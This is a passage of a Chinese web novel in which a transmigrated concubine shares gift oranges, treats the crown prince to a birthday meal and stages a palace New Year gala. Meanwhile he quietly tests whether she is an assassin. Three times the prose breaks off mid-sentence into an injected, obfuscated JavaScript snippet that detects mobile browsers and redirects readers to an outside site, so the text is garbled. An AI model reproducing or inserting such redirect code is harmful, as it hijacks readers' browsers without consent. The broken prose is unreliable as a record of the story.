阿福看上去特别高兴,一见到李扶楹就连忙道:“夫人,奴婢给您说件开心的事儿。” 李扶楹顿时有点好奇,“什么事呀?” 阿福喜滋滋地道:“贵妃娘娘想趁着殿下这次回京,给殿下举办一场选秀,但殿下拒绝了。” 李扶楹:“……” 这算哪门子开心的事儿?高崇宴在评论区都已经被吐槽了八百遍寡王了,他不举办选秀再正常不过。 阿福没看到李扶楹开心,顿时有些奇怪,“夫人,殿下只喜欢您一个人,您不高兴吗?” 李扶楹手托腮,“还行吧。” 阿福想了想,“奴婢懂了。” 李扶楹一脸茫然看向阿福,“你懂什么了?” 阿福笑着道:“夫人是相信殿下,老话不是说吗?夫妻恩爱两不疑。” 李扶楹:“……” 这时,门外又走进来一队宫女。宫女们每个人的手里都捧着托盘,托盘上放了各种礼物,有珠宝,还有土特产。 李扶楹以为又是贵妃娘娘赏的,刚要准备起身行礼受赏,结果为首的宫女先恭敬向李扶楹行礼了。 “夫人,这些都是楚王府送来的。” 楚王府是李扶楹的“娘家”,大过年的,楚王府的女官来拜见李扶楹肯定不会空着手来。 李扶楹反应了一秒。 那她还用不用跪了? 为首的宫女又将一个贴了封条的大红色信封恭敬呈给李扶楹,“夫人,这是礼单,请您过目。” 那看来她不用跪了。 李扶楹心情不错,把信封接过来打开,里面就薄薄的一张纸,李扶楹又看向那张纸,“……” 算了。 李扶楹一秒又把信纸折起来放回信封里,假装无事发生。 还是看礼物吧,繁体字不适合她,她不ins。 李扶楹又看向那些礼物,珠宝首饰就是最基本的耳环、发簪,没什么新意。倒是那些土特产,尤其是柑橘,看上去很好吃的样子。 李扶楹伸出小手从托盘上拿了个黄澄澄的橘子,皮很软,小手一扣就开了,顿时橘香四溢。 李扶楹乖巧掰了一瓣果肉放进嘴里嚼嚼嚼,爆汁超甜,李扶楹的眼睛顿时都亮了。 “这个好好吃!!!” 李扶楹赶紧又拿起那些橘子分给阿福和宫女们,“来来来,大家都尝尝,你一个,你一个,你一个。” 阿福和宫女们都憨憨笑,“谢夫人赏赐。” 李扶楹眉眼弯弯,“不客气不客气哒!” 13.第13章 因为是精挑细选的礼物,所以柑橘的数量不多,一个托盘那么大,总共也才二十来个橘子。 李扶楹分完一圈就剩下三个了,李扶楹原本想自己把它们都炫掉,但想了想,还是留了一个给高崇宴,自己只炫两个。 分完橘子,李扶楹便让宫女们都退下去炫橘子了。 阿福跟李扶楹的情分不一样,所以,除了给阿福吃橘子,李扶楹又抓起一把珠宝首饰塞进阿福的手里。 “阿福,这些都给你。” 阿福顿时有些受宠若惊,夫人宠她是好事,但这也太多了。 阿福连忙道:“夫人,奴婢不敢要这么多。” 李扶楹才不介意,“拿着吧拿着吧,没关系哒!” 李扶楹是很懂的感恩的,阿福对她很好,好东西当然要跟阿福一起分享! 阿福这才感激称是。 主仆二人又坐在软榻上聊了会儿天,时间就到了晚上。不过高崇宴没回来用膳,李扶楹便一个人吃。 饭后李扶楹在院子里溜达着消食就觉得小腹有点胀,果不其然回去一看月事来了。 李扶楹吩咐阿福帮她拿了月事带。 这是李扶楹第二次用月事带了,之前李扶楹以为古代的月事带只是装草木灰,但用过之后才发现,宫里给娘娘们用的月事带还加了棉花。而且宫里的月事带不是反复使用的,用一次就扔了,直接再换新的。 李扶楹很爱干净,穿书之后最担心的就是月经这档子事儿,但现在看来丝毫不用担心。 五星好评! 李扶楹自己把月事带拾掇好,她现在已经会自己系了。虽然即便她不会也没有关系,因为阿福可以帮她,但这样的事情,李扶楹还是想自己来。 李扶楹把自己整理好,然后又屁颠屁颠回到寝宫里间,这时外面忽然传来一阵此起彼伏地“拜见殿下”。 李扶楹刚坐下的屁股又一秒抬起来了。 李扶楹乖巧迎出去,“殿下你回来啦!” 高崇宴顾着李扶楹,这个小选侍仿佛永远都是甜甜软软的。 高崇宴简单嗯,迈步走到软榻上坐下。 时刻记得保持亲密度的李扶楹一屁股就坐到了高崇宴的怀里。 高崇宴:“……” 李扶楹特别乖巧,“殿下,今天楚王府的女官来给我送礼啦。” 高崇宴知道,甚至女官还在来东宫的路上,高崇宴那边的宫人就已经把事情汇报给高崇宴了。 高崇宴拿起桌案上的大红色信封打开,里面薄薄的一张信纸,高崇宴一目十行,上面是楚王府的礼单明细,但信纸有微不可查地香味,而且纸张摸起来发脆。这是因为用了一种蜜水写字的缘故,这种蜜水需要被火烤过之后才会显现出淡黄色的字迹,而不烤则字迹不显。 高崇宴微微敛眸。 李扶楹还沉浸在收到各种各样的礼物的好心情里,“殿下,今天楚王府那边送来的橘子可甜啦!一共二十个,我给殿下留了一个呢!” 高崇宴因为这句话从信纸上的思绪拉回来,一共二十个橘子,她只给他留了一个。 高崇宴是太子,什么好东西没见过,根本也不稀罕几个橘子,但他还是莫名问出口,“其余十九个呢?” 李扶楹眉眼弯弯,“分了呀,寝宫的大家一人一个,我自己吃了三……一个。” 差点说秃噜嘴。 她才给高崇宴留了一个,她吃三个不太好。 但宫女的编制都是有数的,寝宫一共十六个宫女,一人一个就是十六个橘子,剩下四个,高崇宴一个,李扶楹明明猫下了三个。 高崇宴没戳破李扶楹这个小骗子,只又把那张礼单放回桌面。 礼单的信纸没有显示出那些蜜水的字迹,也就是说,李扶楹并没有用火烤过。那么,是李扶楹还没来得及烤,还是…… 李扶楹见高崇宴一直没言语,不由得有点心虚,“怎么了殿下?” 她怀疑高崇宴在算橘子的数量。 高崇宴垂眸顾着李扶楹,“没什么,孤听说你今天没见楚王府的女官。” 李扶楹顿时更心虚了,“就……我不喜欢她。” 高崇宴微微挑眉。 李扶楹开始努力编故事,“以前在王府的时候,那些女官总是欺负我,殿下你也知道的,我以前只是一个歌伎。” 李扶楹越说越心虚,她从来没有诬陷过别人,这还是第一次。 对不起啊女官姐姐,但她实在是找不出别的理由来圆这个谎了。 李扶楹抱住高崇宴的胳膊,试图撒娇,“殿下,以后我可不可以都不见楚王府的女官呀?” 李扶楹是这样想的,如果有高崇宴帮她做挡箭牌,那么只要她永远不见楚王府的人,那么,她这个小冒牌货就永远都不会被楚王府的人揭穿。 高崇宴淡淡看着李扶楹。 李扶楹不敢跟高崇宴对视,怂怂地垂着小脑瓜。 半晌。 “可。” 李扶楹惊讶抬起头,“真的吗?” 高崇宴淡淡嗯。 李扶楹那颗悬着的心落下去了,她连忙拿起桌案上唯一剩的一个橘子捧给高崇宴献殷勤,“殿下快尝尝橘子吧!超级好吃呢!” 高崇宴顾了一眼那个黄澄澄的橘子,的确是精挑细选的上等货,但高崇宴没拿,“给你了。” 李扶楹:“但我已经吃了一个了,这个就留给殿下吧。” 高崇宴依旧没拿,他把李扶楹从他的腿上抱起来,又轻轻放到软榻上,“在这玩吧,孤去沐浴了。” 李扶楹眨眼睛。 高崇宴直接往水房的方向走去。 李扶楹低头看了眼手里的橘子,又抬头看了眼往水房方向走去的高崇宴的背影,那好吧,这可是他自己不吃的,可不能怪她多吃多占。 李扶楹喜滋滋用小手扣开软软地橘子皮,黄澄澄的果肉透着满满地香甜,李扶楹把果肉放进嘴里嚼嚼嚼。 甜甜的爆汁!真好吃! 之后的几天,日子过得飞快。毕竟不缺吃不缺喝不缺穿,每天两眼一睁就是“不劳而获”的生活,想不快真的很难。 正所谓,不开心的时间凝固如磐石,一动不动,开心的时间犹如脱缰的野马,极速飞驰。 李扶楹的时间就是这么极速飞驰着。 不过,也没有飞太久就是了。 进入腊月的最后一个星期,李扶楹被高崇宴禁足了。理由很简单,她的账号级别低,不能去别的地图转悠。 李扶楹稍微有那么一点点不开心。 男人的嘴,骗人的鬼。 之前还说她可以在宫里随便玩,结果没两天就把她“禁足”了,虽然这是宫里的规矩,也不能完全怪高崇宴就是了。 李扶楹让阿福吩咐传膳。 禁足就禁足,但饭还是要吃的。 阿福连忙恭敬称是。 不一会儿地功夫,宫女们便端着饭菜鱼贯而入,李扶楹这会儿是真饿了,饭菜一摆放到桌子上,李扶楹便麻溜儿地拿起筷子开始炫饭。 饭后就没什么事儿可做了。 古代这个大环境,时间短了还挺有意思,但时间一长,没有手机、没有电脑、没有电视,想追个剧、打打游戏消磨一下时间都不行。 李扶楹不会做女红,也不想做。聊天的话题总共就那么多,她已经跟阿福都聊遍了,再聊就是絮叨,也没什么意思。 李扶楹琢磨着得给自己找点乐子,要不她这大门不出二门不迈地窝在东宫里面,没等高崇宴带她回东都,她就先把自己给闷死了。 李扶楹想了想,扭头问阿福,“阿福,东宫有没有歌伎? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高崇宴又看向站在歌伎乐伎前面的李扶楹,像是在指挥,看上去倒是很开心。 高崇宴没再往前走,只默默转身往书房的方向走去。 李扶楹这样大的阵仗并不合适,但既然她喜欢,让她开心便是。 高崇宴吩咐宫人,“夫人要办春晚就让她办,缺什么去管事那里拿。另外,让所有宫人宫女以及歌伎乐伎把嘴给孤闭严实了。” 高崇宴可以宠着李扶楹胡闹,但不代表别人都会宠着。这事儿万一传得不好听,被周仁帝知道了,对李扶楹不好。 宫人很机灵,立刻就明白了高崇宴的意思,他连忙恭敬道:“殿下放心,这事儿保证没人敢往外面传。” 高崇宴淡淡嗯,“另外,”他说着顿了顿,“孤让你留意的那张礼单……” 宫人立刻恭敬道:“回殿下的话,奴婢一直留意着那张礼单,但夫人根本没再看,那张礼单一直放在桌案上,今儿个一大早,宫女们打扫卫生就顺手把那张礼单给扫出去了。” 高崇宴:“……” 高崇宴又偏头看了眼寝宫的方向,但因为离得远,冬日里干枯地树枝遮挡了他的视线。 杀手常年与刀剑相伴,手上一定会有茧子,但李扶楹的手上没有。李扶楹的手很柔软,那是一双连粗活儿都没有做过的手。 另外,李扶楹连2石的弓都拉不开,不仅拉不开,而且她甚至不知道该如何用弓。这是装不出来的。因为一个长期接受训练的杀手,她会有肌肉记忆,即便是想要假装不会用弓箭,也不会装的那么自然。 最后,李扶楹不敢见楚王府的人,而且,对于密信之类的关窍根本不懂。 高崇宴垂眸,遮住了眼底所有的流光,他没言语,继而往书房那边走去。 14.第14章 李扶楹并不知道高崇宴刚才来过,不止李扶楹,寝宫这边的所有人都不知道。 李扶楹很开心,因为在这个人生地不熟的古代,她居然能听到现代歌曲,那个亲切感就别提有多棒了。 阿福也很开心,她是第一次听现代歌曲,虽然她不懂音乐,但她听着很上头,感觉这曲子很欢快很喜庆,比古典音乐更有节奏感。 一曲唱完,李扶楹眉眼弯弯看着那些歌伎乐伎,“好啦好啦,大家休息一会儿,阿福,给大家发饮料。” 阿福笑着称是。 然后招呼宫女把橙汁、梨汁还有奶茶都发给大家喝。 阿福一开始不知道“饮料”是什么意思,但李扶楹告诉她,饮料就是这些橙汁、梨汁还有奶茶的统称。 李扶楹也坐到小马扎上喝奶茶。 她也是出息了。 她现在是古代—东宫版—春晚总导演、兼策划总监、兼节目组负责人、兼艺术指导、兼舞台指导and so on。 李扶楹咬着吸管,吸管是竹子做的,跟筷子是一个材料。古代没有塑料,但喝奶茶没有吸管就少了灵魂,所以李扶楹便让人想办法用竹子做了个吸管,别说,还挺好用,而且竹子做的吸管还格外环保。 阿福也挨着李扶楹坐在小马扎上喝奶茶,“夫人,您是怎么想出来这么多曲子呀?都好好听。” 李扶楹哪敢侵权,连忙道:“不是我想出来的,这些都是别人的曲子,我不过是传播一下。” 阿福又问:“那这些曲子都是谁写的呀?奴婢从来都没有听说过呢。” 李扶楹没法跟阿福解释,只道:“别研究这些了,反正好听就行。” 阿福又笑着点头,“夫人说的是。” 李扶楹:“嘿嘿。” 主仆二人又一边喝奶茶一边聊了点别的。 快到中午午膳的时候,有宫人来寝宫给李扶楹传话,“夫人,殿下说中午带您出去逛逛。” 李扶楹愣了下,“去哪啊?” 宫人笑着道:“这个奴婢便不知道了。” 李扶楹眉眼弯弯应着好,“那我去换身衣服。” 宫人恭敬称是。 李扶楹随即回到殿内以最快的速度换了身干净的衣服。等再走出寝宫的时候,已经有抬轿子的宫人在外面等候。 李扶楹继而坐上轿子往东宫门口的方向走去。 轿子晃晃悠悠走了一刻钟才稳稳停下,宫人掀开轿帘,李扶楹看到不远处停了一辆马车。 一旁随行的宫人恭敬向李扶楹道:“夫人,今日是殿下的生辰。” 李扶楹一愣。 宫人却没再说别的话,只侧身让开一条路请李扶楹上马车。 李扶楹默了一秒,思思量量走进马车里。 此时高崇宴一身常服正坐在里面闭目养神,李扶楹走进马车后,高崇宴才睁开眼睛。 李扶楹挨着高崇宴乖巧坐好,马车随即稳稳前行。 李扶楹没带钱。 她压根儿没想到今天是高崇宴的生日。虽然高崇宴什么也不缺,但过生日收礼物是最基本的,李扶楹不知情也就罢了,现在知情了总不能什么也不送。 李扶楹揣着小手,“殿下,我没带钱。” 高崇宴不解看向李扶楹。 李扶楹又赶紧解释道:“刚才听人说,今天是殿下的生辰。” 高崇宴:“……” 下面这些做事的人,有的时候真的很多嘴。 李扶楹试图跟高崇宴商量,“殿下,要不这样好不好呀,如果殿下有喜欢的东西,殿下先自己把钱付了,等我们回宫后,我再把钱给殿下。” 高崇宴:“……” “孤已经落魄到需要女人给钱的地步了。” 李扶楹连忙摆手,“不是的不是的,殿下过生辰收礼物是应该的,但我之前不知道,要是知道的话,我肯定会带着银钱出门。” 高崇宴稍微来了点兴致,“你若是提前就知道,打算带多少银钱出门?” 李扶楹想了想,“十……十两?” 她现在一共就拿了两个月的月俸,一个月十两银子,两个月一共二十两。她拿出一半的银子给高崇宴过生日,应该很有诚意了吧? 高崇宴:“十两?” 李扶楹顿时有些不确定,“少……少吗?” 高崇宴:“挺大方。” 他这辈子就没收过十两银子的礼物。 高崇宴是太子,能送进东宫的宝物都是价值连城,十两银子都不一定值个盒子钱。 高崇宴又顾着李扶楹,“你的生辰是什么时候?” 李扶楹嘴善如流,“八月初三,还早呢。” 高崇宴收回视线,“孤记下了。” 李扶楹眨眼睛,“是要到时候送我礼物吗?” 高崇宴嗯。 李扶楹开心抱住高崇宴的胳膊,“谢谢殿下!” 马车稳稳前行,不知道过了多久,李扶楹隐隐约约听到了集市上的叫卖声。马车又行驶了一会儿才停下,这时外面的叫卖声已经非常清晰了。 高崇宴看向李扶楹,“下车吧。” 李扶楹乖巧哦,这才麻溜儿地跳下车。 高崇宴随即跟在李扶楹身后下车。 李扶楹目光所及就是人间烟火气十足的古代集市,正值年下,到处都是张灯结彩,很是喜庆。 李扶楹又看向附近的各种小吃摊,琳琅满目的小吃散发出的香味直往李扶楹的鼻子里面飘。 李扶楹饿了。 高崇宴慢条斯理地往街市里面走,李扶楹赶紧屁颠屁颠地跟在高崇宴身后。 京城一共有四条繁华的大街,今天李扶楹来的这一条是京城最热闹的东大街,比东都的街市还要热闹。 高崇宴径直走进一家酒楼,正值午膳时间,酒楼里面时不时传出爆炒的声音,才进门就能闻到饭菜的香味儿。 李扶楹更饿了。 门口的店小二远远看到高崇宴和李扶楹便立刻上前招呼,“二位客官,您里面请~” 高崇宴言简意赅,“开一个包房。” 店小二连忙又笑着道:“好嘞~您二楼包房请~” 李扶楹继而跟着高崇宴走上楼梯的台阶,店小二特别殷勤地跟在后面,还热情贴心地道:“您二位仔细脚下的台阶。” 李扶楹对店小二甜甜笑。 店小二见李扶楹样貌美又好相处,随即更加热情,“姑娘您一看就是好面相,大富大贵哦!” 李扶楹笑得更甜了。 一旁的高崇宴:“……” 李扶楹跟着高崇宴走进包房。 店小二又麻利地把原本就已经非常干净的桌面又擦了一遍,连并椅子也一起擦了一遍。 李扶楹这才跟着高崇宴落座。 店小二仔细递上菜单,“您二位想吃点什么?” 高崇宴没看那张菜单,直接把菜单递给李扶楹,“点你爱吃的。” 李扶楹喜滋滋接过菜单,虽然她不认字,但是她知道菜单最上面的那种大字写的都是招牌菜。 李扶楹把所有大字都画了圈,然后交给店小二,“要这些菜,主食不要米饭,要长寿面。” 店小二憨厚笑着,“好嘞~您二位稍等。” 他继而拿着菜单退出门外,还贴心地帮李扶楹和高崇宴把门关上。包房里面顿时只剩了李扶楹和高崇宴两个人。高崇宴先给李扶楹倒了杯茶,又给他自己倒了一杯。 李扶楹这才后知后觉想起一件事情,高崇宴是太子,太子过生日,难道不应该是大摆宴席非常隆重吗? 李扶楹看向高崇宴,“殿下,今天宫里不应该给殿下办生辰宴吗?” 高崇宴喝了口茶,“大周没这规矩。” 自打高崇宴记事起,周仁帝就没给高崇宴办过生辰宴。用周仁帝的原话是:男人过什么生辰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351019|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但周仁帝话是这么说,每次贵妃亲自下厨给周仁帝过生辰,周仁帝比谁都高兴,也不说男人不过生辰了。 李扶楹自然不知道高崇宴与周仁帝之间的事情,因为原文也没有写过男主与他父亲之间的父子情,但高崇宴说没有过生日的规矩,那就肯定是没有。 李扶楹忽然有那么一点点同情高崇宴,可怜的卷王男主,一辈子都生活在勾心斗角的权谋之中,一点人生乐趣都没有。当然,也许对于卷王男主来说,事业就是他的人生乐趣,跟她这种小废物的人生乐趣不一样。 店家很是麻利,不一会儿地功夫便送进来六菜一汤。 李扶楹看过那些饭菜,先是三道硬菜,五香酱鸭、红烧狮子头、糖醋排骨,后是两道素菜,小炒白菜、蒜蓉菠菜,最后一道小凉菜是凉拌黄瓜,以及一大碗胡辣汤,主食是长寿面。 店家放下饭菜后便又退出包房。 李扶楹甜甜笑着对高崇宴道:“殿下,祝你生辰快乐呀!” 高崇宴难得浅浅弯了下唇角。 李扶楹:“那殿下现在许个愿吧!” 高崇宴不解,“许什么愿?” 李扶楹甜甜地道:“过生辰当然要许愿呀,听说过生辰许的愿望一定会实现!” 高崇宴:“孤没有愿望。” 或者说,他不信许愿能成真。否则,天底下怎么还会有那么多贫苦的人? 李扶楹嘟嘴,“殿下许一个嘛,许一个。” 高崇宴把碗筷递给李扶楹,“你替孤许吧。” 李扶楹惊讶看向高崇宴,“真的可以让我来许愿吗?” 高崇宴嗯。 李扶楹一点也不把自己当外人,立刻就双手合十,“那好吧,我希望我跟殿下都可以开心快乐健康万福每一天,各位神仙爷爷神仙奶奶,请注意,是每一天哦!爱您!” 李扶楹说完又闭上眼睛虔诚地祈祷了一会儿。 高崇宴被李扶楹可爱到,又很浅很浅弯了下唇角。 李扶楹祈祷完又睁开眼睛。 高崇宴:“可以吃饭了吗?” 李扶楹点头点头再点头。 她真的已经非常非常非常饿了,这会儿拿起筷子便开始炫饭。 高崇宴也开始吃,但他吃得很优雅,不像李扶楹,先夹了一筷子五香酱鸭,又夹了一整个红烧狮子头,糖醋排骨也来一点,小炒白菜、蒜蓉菠菜也没有放过,还有凉拌黄瓜和胡辣汤。 高崇宴瞧着李扶楹飞速炫饭,没来由就想起那一年他跟着高祖皇帝北征,在军营里,他捡了一只小猫,小猫笨笨的,让它吃饭,它能把整个小脑袋瓜都埋在饭盆里。高崇宴每次都得拎着小猫的后脖颈把它的脑袋瓜从饭盆里拎出来,不然都怕它在饭盆里憋死。 李扶楹看向高崇宴,“殿下,你想要什么生辰礼物?” 高崇宴:“没什么想要的。” 李扶楹:“那这一顿我请殿下吧,等回宫后,我把这一顿的饭钱给殿下。” 她说着又看了眼面前的饭菜,“这一桌……这一桌应该不会超过十两吧?” 高崇宴:“……” 这意思是,超过十两就不请了? 高崇宴看向李扶楹,“若是超过十两呢?” 李扶楹没有钱,她现在全部的存款也才二十两,不过,谁让高崇宴过生日呢? 李扶楹超小声,“不超过二十两的话,也是可以请殿下的。” 高崇宴:“那若是超过二十两呢?” 李扶楹嘟着小脸,“这一桌饭菜真的有那么贵吗?” 要花掉她两个月的工资! 李扶楹的声音更小,“就……我没有那么多钱……我一共才领了两个月的月俸。” 原来是没有钱,不是有钱不舍得给他花。 高崇宴夹了一块排骨放进李扶楹的碗里,“吃饭吧,没有那么贵。” 李扶楹顿时又开心起来,“好呀好呀,我们继续吃饭。” 15.第15章 一顿饭,高崇宴其实没吃多少,大多都是李扶楹在吃。良久,高崇宴扫了眼已经被李扶楹吃了一半饭菜,他不重不轻把茶杯放到桌案上,“别撑着。” 李扶楹咬着鸭腿抬头。 高崇宴目光所及就是吃得两颊鼓鼓的,但还在试图往嘴里塞饭菜的小美人。 高崇宴默了片刻,“继续吃吧。” 李扶楹乖巧哦,又重新低下头去炫饭。 饭后,高崇宴去柜面结账,李扶楹屁颠屁颠跟在高崇宴身后仔细留意着饭钱,只见高崇宴放了一锭银子在柜面,掌柜的又找给了高崇宴50文钱。 李扶楹心里有数了,原来这顿饭连一两银子都没有。 李扶楹忽然有点开心,一两银子就给高崇宴过了生日,她一点都不亏呢。 高崇宴结完账略偏头,就看到李扶楹正眉眼弯弯地看着他。 高崇宴:“这么高兴?” 李扶楹开心点头。 高崇宴转身走出酒楼,李扶楹也赶紧跟上。 李扶楹问高崇宴,“殿下,我们接下来要去哪呀?” 高崇宴言简意赅,“回宫。” 李扶楹稍微有些意外,“这么早就回去吗?” 高崇宴嗯,“下午还有别的事情要做。” 李扶楹这才又乖巧道:“那好吧。” 两个人继而往马车那边走,坐进马车后,马车又稳稳地向皇宫的方向行去。 大周王朝的规定,皇宫里面不能跑马车,这是为了防止有人把利器藏在马车里面刺王杀驾。但这个规定不包括皇帝和太子的马车,所以,高崇宴的马车便一路通顺直接抵达东宫。 马车停稳,高崇宴先走下马车,李扶楹又跳下马车。 两个人一起往东宫里面走,走到长廊的拐角处,高崇宴脚步一顿,“孤要去书房了,你自己回寝宫休息吧。” 李扶楹眉眼弯弯说好,“殿下,你也不要太累了哦。” 高崇宴点头,“好,孤知道了。” 李扶楹这才转身往寝宫的方向走。 这会儿已经是未时,天边的太阳微斜,阳光暖暖地撒下来,落在人的身上非常舒服。 李扶楹沿着石子路溜达着消食,她今天中午吃得好饱,得多走一会儿才行。李扶楹想了想,没按照原本的路线回寝宫,而是特意绕了远路,从花园那边慢慢地走。 花园里面依旧是只有梅花开着,其他植物都是光秃秃的,李扶楹一边看着那些枯树枝,一边琢磨着那些枯树枝有可能会是什么花。 这时阿福正在寝宫门口等候李扶楹回来,她远远瞧见李扶楹往寝宫这边的方向走,连忙迎了上去,“夫人,您回来了。” 李扶楹欢快地走向阿福。 阿福往李扶楹身后看了一眼,“夫人,殿下呢?” 李扶楹道:“殿下去书房了。” 阿福便没再多问。 主仆二人继而一起往寝宫里面走。 李扶楹问阿福,“阿福,一两银子是多少文钱?” 阿福道:“回夫人的话,一两银子是1000文钱。” 李扶楹想了想,“那你一会儿去管事那里帮我从我的账上取950文钱,然后等殿下不忙了,再把那950文钱送到殿下的书房。” 今天中午的饭钱是950文,她看得可清楚了。 阿福没明白夫人为什么要给殿下送钱,但既然是夫人的吩咐,她还是恭敬称是。 阿福继而准备去管事那里领钱,但才走了一步又被李扶楹唤住。 “等等。” 阿福又停下脚步,“夫人您还有什么吩咐?” 李扶楹道:“还是拿一两银子给殿下送去吧。” 好歹高崇宴过生日,虽然她手头上也不宽裕,但也不能那么小气,连50文都要算计进去。 阿福笑着称是,然后又转身离开。 李扶楹这才又回了寝宫,她有点困了,进屋就直奔水房,洗漱过后又回到寝宫里间歇晌。 李扶楹这一觉就睡到了申时过半,外面的太阳都快要落山了。 李扶楹揉眼睛从床上坐起来,自己把衣服穿好,又去水房洗了把脸。 阿福已经回来了,她一直守在门外,听到里面的动静后,才赶紧走进去伺候。 李扶楹一边用布巾擦脸一边问阿福,“银子给殿下送去了吗?” 阿福笑着称是,“夫人呀,殿下收了您的银子,还给您准备了一份回礼呢。” 李扶楹顿时有些惊喜,“什么回礼呀?” 阿福又笑着道:“是一锭十两的金元宝,奴婢给您放在软榻的桌子上了。” 李扶楹顿时两眼放光。 十两的金元宝,高崇宴这么大方啊! 李扶楹把手里的布巾随手一丢,赶紧屁颠屁颠地跑到软榻的桌子前,果然是一锭十两的金元宝呢! 李扶楹超级超级超级开心,喜滋滋把金元宝拿起来亲了口,真好!金元宝!真好! 阿福掩唇笑,“殿下猜的还真准。” 李扶楹不解看向阿福。 阿福道:“殿下给奴婢金元宝的时候就说夫人您肯定会亲一下。” 李扶楹萌哒哒地愣了愣。 阿福又笑着道:“殿下还说,以后夫人想买什么都可以走殿下的账,夫人的月俸银子就让夫人您自己留着花。” 李扶楹:“!!!” 这么好的吗?买东西高崇宴都报销,自己的工资一分不用花!不愧是当男主的人,有格局,有思想,有觉悟,NICE!五星好评!! 李扶楹火速把自己想买的东西都让阿福帮她列了个单子,她这个人就是有这个优点,不喜欢辜负别人的美意。既然高崇宴愿意给她报销一切费用,那她肯定要把这个福利政策彻底贯彻一下。 李扶楹拿着阿福帮她列好的“购物车”明细表亲了一口,又把明细表交给阿福,“阿福,把这张明细表交给管事吧,跟管事说好哦,是要走殿下的账,可不能走成我的账哦。” 她要买的东西很多,但她的存款很少,万一管事走错了账,真的会让她原本就不富裕的存款雪上加霜。 阿福笑着称是,“夫人您就放心吧。” 李扶楹:“嘿嘿嘿。” 书房里,高崇宴看着李扶楹列的“购物车”明细表陷入了沉思。 明细表是管事送来的。 虽然阿福跟管事说,殿下亲口答应了要给夫人走账买东西,但管事只是个打工的,领导不签字就想走账,想啥呢?而且夫人这个明细表,管事也不敢出去买。 管事拿着“购物车”明细表来找高崇宴签字了。 高崇宴看着“购物车”明细表迟迟没言语,倒不是嫌李扶楹花钱多,而是明细表上的这些东西压根儿就不能给李扶楹买。 李扶楹写的什么啊?硝石、木炭、柳灰、青铜、银硃、铅粉…… 这都涉及军/火了,民间根本没有卖的。高崇宴真要签了这个字,得让护卫军去大周军/火/库给李扶楹领。 高崇宴抬眸看向管事,“有没有问过夫人用这些东西想做什么?” 管事赶紧恭敬道:“回殿下的话,阿福说,夫人想看烟花。” 高崇宴:“……” 大过年的,高崇宴还以为李扶楹想把京城炸了。大抵李扶楹也不懂军火,所以,每一份原材料的后面都写了个100份。 高崇宴直接把李扶楹的购物明细表用火折子烧了,这也就是给他看,若是让周仁帝看到,李扶楹的脑袋就不用要了。 高崇宴对管事道:“这里面的轻重利害你知道,把嘴闭严实。” 管事顿时吓出一层冷汗,“是,殿下您放心,奴婢绝不敢多嘴。” 高崇宴:“去一趟钟鼓司,拿几盒花炮给夫人送去即可。” 花炮就是仙女棒的祖/宗,一般遇到节日,宫女们都可以手持燃放,非常安全且具有观赏性。 管事恭敬称是,然后退出了书房。 另一边,李扶楹还在心心念念地盼着她的烟花大会原材料,李扶楹并不知道大周王朝已经有成品烟花,因为作者没写。但她想举办烟火大会,所以就用她仅有的一点化学脑细胞想了些原材料,准备跟大家一起玩。 但李扶楹没盼来她的原材料。管事很委婉地说不行,说殿下不给买,只允许她玩仙女棒。 李扶楹的小嘴又嘟起来了,说好了什么都给报销的,结果她的烟花大会变成仙女棒大会。既然有成品烟花,好歹给她些大礼炮也行啊! 李扶楹不开心。 管事连忙哄道:“夫人呀,殿下这是担心您的安全。礼炮都很危险的,夫人您不能拿着玩,而且宫里有专门放礼炮的宫人,等大年三十晚上,夫人您站在寝宫门口一抬头就能看见。” 管事这话说的特别委婉,但心里想的是可不能让夫人拿着礼炮炸东宫。管事算是看明白,夫人就是小孩子心性,想起什么就是什么,但管事不敢跟夫人讲道理,只能哄着。 李扶楹嘟着小脸,扭头看向阿福。 阿福也赶紧哄道:“是呀夫人,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358825|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就听管事的吧。咱们玩花炮也可以的,花炮也好漂亮。” 李扶楹抿了抿唇,心不甘情不愿的,“那好吧,花炮就花炮。” 有的玩总比没的玩强,李扶楹主打一个容易满足。 之后的几天,李扶楹便继续开始排练她的东宫版春晚了。高崇宴挺支持她的“事业”,怕寝宫外面冷,直接把前堂空出来让李扶楹去折腾。 于是,李扶楹又带着宫女、歌伎、乐伎风风火火去了前堂。好了,现在在太子殿下的独家赞助下,连“演播大厅”都有了。 李扶楹:“哈哈哈哈哈。” 宫女们:“嘿嘿嘿嘿嘿。” 歌伎乐伎:“嘻嘻嘻嘻嘻。” 大家都很满意。 大年三十那天,李扶楹便在东宫的前堂享受VIP、至尊、豪华版、东宫春晚。而高崇宴则去参加正儿八经的国宴。 李扶楹一点也不稀罕太极宫那边的国宴,因为不用去也知道,那边的规矩有多繁重。而李扶楹这个VIP、至尊、豪华版、东宫春晚就不一样了,大家无论是宫女还是歌伎乐伎,轮到谁上台表演节目就去,轮不到的时候就可以坐在下面吃年夜饭,根本不会有高低贵贱的等级制度。 